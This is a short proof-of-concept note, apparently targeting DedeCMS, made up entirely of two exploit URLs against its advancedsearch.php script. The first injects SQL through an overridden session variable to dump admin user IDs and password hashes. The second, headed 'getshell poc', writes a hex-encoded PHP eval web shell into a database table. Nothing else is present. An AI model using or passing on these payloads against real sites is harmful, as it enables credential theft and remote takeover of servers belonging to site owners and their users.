http://localhost/dedecms/plus/advancedsearch.php?mid=1&_SESSION[123]=select concat(0x7c,userid,0x7c,pwd,0x7c) as aid from `%23@__admin` aaa &sqlhash=123
getshell poc:
http://localhost/dedecms/plus/advancedsearch.php?mid=6&_SESSION[123]=update `%23@__mytag` set normbody=0x3C3F706870206576616C28245F504F53545B635D293B3F3E where aid=1 limit 1&sqlhash=123